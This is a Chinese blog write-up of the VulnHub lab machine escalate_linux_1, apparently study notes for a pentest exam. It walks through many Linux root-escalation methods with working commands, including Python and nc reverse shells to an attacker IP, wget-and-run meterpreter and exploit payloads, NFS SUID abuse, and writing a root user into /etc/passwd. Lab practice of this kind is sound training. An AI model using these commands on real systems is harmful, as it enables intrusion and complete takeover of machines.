vulnhub Linux提权靶机 | escalate_linux_1
2022-4-4
| 2023-4-13
0  |  0 分钟
type
Post
status
Published
date
Apr 4, 2022
slug
2022/escalate-linux-1
summary
咕咕了很久的提权靶机(
tags
vulnhub
category
漏洞靶场
icon
password
我又来拔 flag了,忘了多久之间收在收藏夹里的靶机了… 之前一直想着汇总一下 linux 提权点,一直忘了,直到最近在备考 PTS,老师讲的没有给练习环境,然后有的点也没覆盖到,就想起这台尘封已久的靶机了,刚好可以巩固一下~
 
靶机链接
 
先更改一下网络模式,默认为自动检测,我这里使用NAT,模拟真实环境中只知道某个网段不知具体IP情景
notion image

信息收集

扫描存活
❯ nmap -sP 192.168.192.128/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-30 08:55 CST Nmap scan report for 192.168.192.1 Host is up (0.0015s latency). Nmap scan report for 192.168.192.144 Host is up (0.0050s latency). Nmap scan report for 192.168.192.136 Host is up (0.0013s latency). Nmap done: 256 IP addresses (3 hosts up) scanned in 9.26 seconds
访问 192.168.192.144 为 apache ubuntu 的默认页面,与靶机介绍相符合
目录扫描发现 shell.php
http://192.168.192.144/shell.php
端口扫描发现
❯ sudo nmap -p- -sS 192.168.192.144 --min-rate 1000 Password: Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-30 12:49 CST Nmap scan report for 192.168.192.144 Host is up (0.00050s latency). Not shown: 65526 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2049/tcp open nfs 34637/tcp open unknown 45257/tcp open unknown 48491/tcp open unknown 58531/tcp open unknown

获取低权限

命令执行,并发现出网
http://192.168.192.144/shell.php?cmd=whoami
反弹个shell
http://192.168.192.144/shell.php?cmd=export RHOST="xxx.xxx.xxx.xxx";export RPORT=2233;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

权限提升 (1)

PEASS-ng 信息收集

跑一下 https://github.com/carlospolop/PEASS-ng
  • sudo 1.8.21p2
  • CVE-2021-4034
  • mysql root/root 密码已知 可尝试提权,但数据库是mysql用户启动
  • user3和user7 在 root 组
  • rw-r–r– 1 root root 423 Jun 4 2019 /etc/exports /home/user5 *(rw,no_root_squash)
  • 当前用户可写文件
/home/user3/.script.sh

0x01 suid提权

suid文件查找
find / -perm -u=s -type f 2>/dev/null
结果
/sbin/mount.nfs /sbin/mount.ecryptfs_private /sbin/mount.cifs /usr/sbin/pppd /usr/bin/gpasswd /usr/bin/pkexec /usr/bin/chsh /usr/bin/passwd /usr/bin/traceroute6.iputils /usr/bin/chfn /usr/bin/arping /usr/bin/newgrp /usr/bin/sudo /usr/lib/xorg/Xorg.wrap /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /bin/ping /bin/su /bin/ntfs-3g /bin/mount /bin/umount /bin/fusermount /home/user5/script /home/user3/shell
直接运行 /home/user3/shell 提示
sh: 1: ./.script.sh: not found
切换至 /home/user3 目录在执行即可提权至root
cd /home/user3 && ./shell
notion image

0x02 滥用root权限 + 环境变量提权

运行 /home/user5/script,看着像是 ls 命令的功能,通过Ghidra反编译一下,在Symbol Tree窗口,打开 Exports 项,一般入口函数是 main 或者 entry,原来 script 程序是通过root权限执行ls命令
undefined8 main(void) { setuid(0); setgid(0); system("ls"); return 0; }
但这里没有指定绝对路径,也就是说系统通过环境变量去获取的执行路径,只要我们新建一个ls脚本,把环境路径优先检索我们设置的目录,就可以执行我们想执行的操作了。
export PATH=/tmp:$PATH echo "/bin/bash" > /tmp/ls chmod 777 /tmp/ls /home/user5/script
notion image

0x03 CVE-2021-4034 (pkexec) 提权

这个漏洞影响范围挺广的
# wget xxx/CVE-2021-4034-main.zip > /tmp/CVE-2021-4034-main.zip unzip CVE-2021-4034-main.zip && cd CVE-2021-4034-main && make && ./cve-2021-4034 whoami # root
notion image

0x04 NFS提权

cat /etc/exports# /home/user5 *(rw,no_root_squash)
发现没有限制root权限用户的远程访问
先远程挂在到本地
mount -o rw 192.168.192.144:/home/user5 /Users/tari/Test/tmp
mac下但返回权限不足
mount_nfs: can't mount /home/user5 from 192.168.192.144 onto /Users/tari/Test/tmp: Operation not permittedmount: /Users/tari/Test/tmp failed with 1
然后 linux下通过 root 权限执行
mount -t nfs 192.168.192.144:/ /mnt -o nolock
我们切换到目录下新建一个C文件
cd /mnt/home/user5vim elevate.c
内容如下(即以root权限执行 /bin/bash
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); system("/bin/bash"); return 0; }
编译,并赋予 suid 权限
gcc elevate.c chmod +s a.out
notion image
然后到需要提权的机器上执行这个文件即可
/home/user5/a.out
notion image

0x05 MSF 提权

先上线 msf
  1. 攻击机
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=2233 -f elf > msf
msfconsole
use exploit/multi/handlerset lhost xx.xx.xx.xxset lport xxxxset payload linux/x64/meterpreter/reverse_tcprun
  1. 受害者
wget http://xxxx/msf && chmod +x msf && ./msf
  1. 攻击机 msfconsole
bguse post/multi/recon/local_exploit_suggesterset session <session_id>run
mac 下不知为啥一个都没,kali 正常
[*] 192.168.192.144 - Collecting local exploits for x64/linux... [*] 192.168.192.144 - 41 exploit checks are being tried... [+] 192.168.192.144 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated. [+] 192.168.192.144 - exploit/linux/local/ptrace_traceme_pkexec_helper: The target appears to be vulnerable. [+] 192.168.192.144 - exploit/linux/local/sudo_baron_samedit: The target appears to be vulnerable. sudo 1.8.21.2 is a vulnerable build. [*] Post module execution completed
利用,这里只成功利用了 exploit/linux/local/sudo_baron_samedit(target 5 是可以的,target 4 不行,其他没试)
use exploit/linux/local/sudo_baron_samedit set session <session_id> set target 5 run
notion image

脏牛提权(失败)

curl http://xxxx/dirty.c > /tmp/dirty.c cd /tmp gcc -pthread dirty.c -o dirty -lcrypt chmod +x dirty && ./dirty
notion image
试了两次,用户都没有创建成功

权限维持

用户密码爆破

cat /etc/shadow
各个用户哈希
root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7::: user1:$6$9iyn/lCu$UxlOZYhhFSAwJ8DPjlrjrl2Wv.Pz9DahMTfwpwlUC5ybyBGpuHToNIIjTqMLGSh0R2Ch4Ij5gkmP0eEH2RJhZ0:18050:0:99999:7::: user2:$6$7gVE7KgT$ud1VN8OwYCbFveieo4CJQIoMcEgcfKqa24ivRs/MNAmmPeudsz/p3QeCMHj8ULlvSufZmp3TodaWlIFSZCKG5.:18050:0:99999:7::: user3:$6$PaKeECW4$5yMn9UU4YByCj0LP4QWaGt/S1aG0Zs73EOJXh.Rl0ebjpmsBmuGUwTgBamqCCx7qZ0sWJOuzIqn.GM69aaWJO0:18051:0:99999:7::: user4:$6$0pxj6KPl$NA5S/2yN3TTJbPypEnsqYe1PrgbfccHntMggLdU2eM5/23dnosIpmD8sRJwI1PyDFgQXH52kYk.bzc6sAVSWm.:18051:0:99999:7::: user5:$6$wndyaxl9$cOEaymjMiRiljzzaSaFVXD7LFx2OwOxeonEdCW.GszLm77k0d5GpQZzJpcwvufmRndcYatr5ZQESdqbIsOb9n/:18051:0:99999:7::: user6:$6$Y9wYnrUW$ihpBL4g3GswEay/AqgrKzv1n8uKhWiBNlhdKm6DdX7WtDZcUbh/5w/tQELa3LtiyTFwsLsWXubsSCfzRcao1u/:18051:0:99999:7::: mysql:$6$O2ymBAYF$NZDtY392guzYrveKnoISea6oQpv87OpEjEef5KkEUqvtOAjZ2i1UPbkrfmrHG/IonKdnYEec0S0ZBcQFZ.sno/:18053:0:99999:7::: user7:$6$5RBuOGFi$eJrQ4/xf2z/3pG43UkkoE35Jb0BIl7AW/umj1Xa7eykmalVKiRKJ4w3vFEOEOtYinnkIRa.89dXtGQXdH.Rdy0:18052:0:99999:7::: user8:$6$fdtulQ7i$G9THW4j6kUy4bXlf7C/0XQtntw123LRVRfIkJ6akDLPHIqB5PJLD4AEyz7wXsEhMc2XC4CqiTxATfb20xWaXP.:18052:0:99999:7:::
通过 john 去爆破
notion image
root 密码爆破出来了,其他爆不出来

权限提升 (2)

到这里,能通过 webshell 直接去提权的方式已经用的差不多了,有其他方式欢迎大佬们补充~

0x06 mysql 信息泄漏

通过 PEASS-ng 发现 mysql 密码为 root,连进去发现 user库user_info表存着mysql的密码
notion image
通过 /etc/passwd 得知mysql用户是可登陆的,猜测这个密码是mysql用户的登录密码
notion image
查找一下该用户的所属文件
find / -user mysql
发现 /var/mysql 目录下有点有意思的文件,特别是这个
---------- 1 mysql mysql 126 Jun 6 2019 .user_informations
给一下权限
chmod +r .user_informations cat .user_informations # 输出 # user2:user2@12345 # user3:user3@12345 # user4:user4@12345 #.user5:user5@12345 # user6:user6@12345 # user7:user7@12345 # user8:user8@12345
发现了类似其他用户的密码,尝试切换可成
另外一个敏感文件 /etc/mysql/secret.cnf 发现 root 密码,不过 root 密码不是 12345 嘛..
chmod +r /etc/mysql/secret.cnf cat /etc/mysql/secret.cnf # 输出 # UserName:root # PassWord:root@12345

0x07 crontab 提权

登陆至 user4
cat /etc/crontab # */5 * * * * root /home/user4/Desktop/autoscript.sh
查看定时任务发现每隔5分钟以root权限执行 /home/user4/Desktop/autoscript.sh 脚本
更改 autoscript.sh 为(这里直接 bash -i 反弹会提示 fd 不存在, nc -e 提示没有 -e 参数)
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc xx.xx.xx.xx 2234 >/tmp/f' > /home/user4/Desktop/autoscript.sh
过5分钟即会反弹一个root的shell回来
notion image

0x08 sudoers 提权 1

user8,运行
sudo -l
发现可以免密通过 vi 命令执行root权限操作
随便 vi 一个文件
sudo vi test# 进入 vi 后输入:!sh
notion image

0x09 root组用户提权至root

登陆至 user7
查看 /etc/passwd 文件权限发现同组可写
ls -l /etc/passwd # -rw-rw-r-- 1 root root 2648 Jun 5 2019 /etc/passwd
先备份一下 cp /etc/passwd . 然后写入一个 root 用户 id 等信息至 /etc/passwd 然后切换即可
cp /etc/passwd . echo "tari:$(openssl passwd -1 -salt tari 12345):0:0:root:/root:/bin/bash" >> /etc/passwd su tari
notion image
user4 也是属于 root 组的,也可以这样做

sudoer 提权 2

登陆user2
sudo -l# 输出# (user1) ALL
发现可接管 user1 用户,这个用户在没在 mysql 泄漏的密码中
sudo -u user1 /bin/bash
切换后继续看特权命令 sudo -l
notion image
可直接提权至 root

总结

至此,所有用户的提权方式已经覆盖的完了,靶机简介说是有 12+ 种提权方式,不过我这里不重复的提权方式是9种。
发现靶机刚好是用 apache,顺便补充一种 sudo 滥用下的 apache 任意文件查看[4]
sudo apache2 -f /etc/shadow
这个靶机没安装这个模块,所以返回 AH00534: apache2: Configuration error: No MPM loaded.
整体来看,Linux 提权相关的还是挺全了,还不错的靶机。

参考

漏洞靶场
  • vulnhub
  • Docker (远程) Debug 调试环境搭建sqli-labs 靶场 1-65 通关记
    目录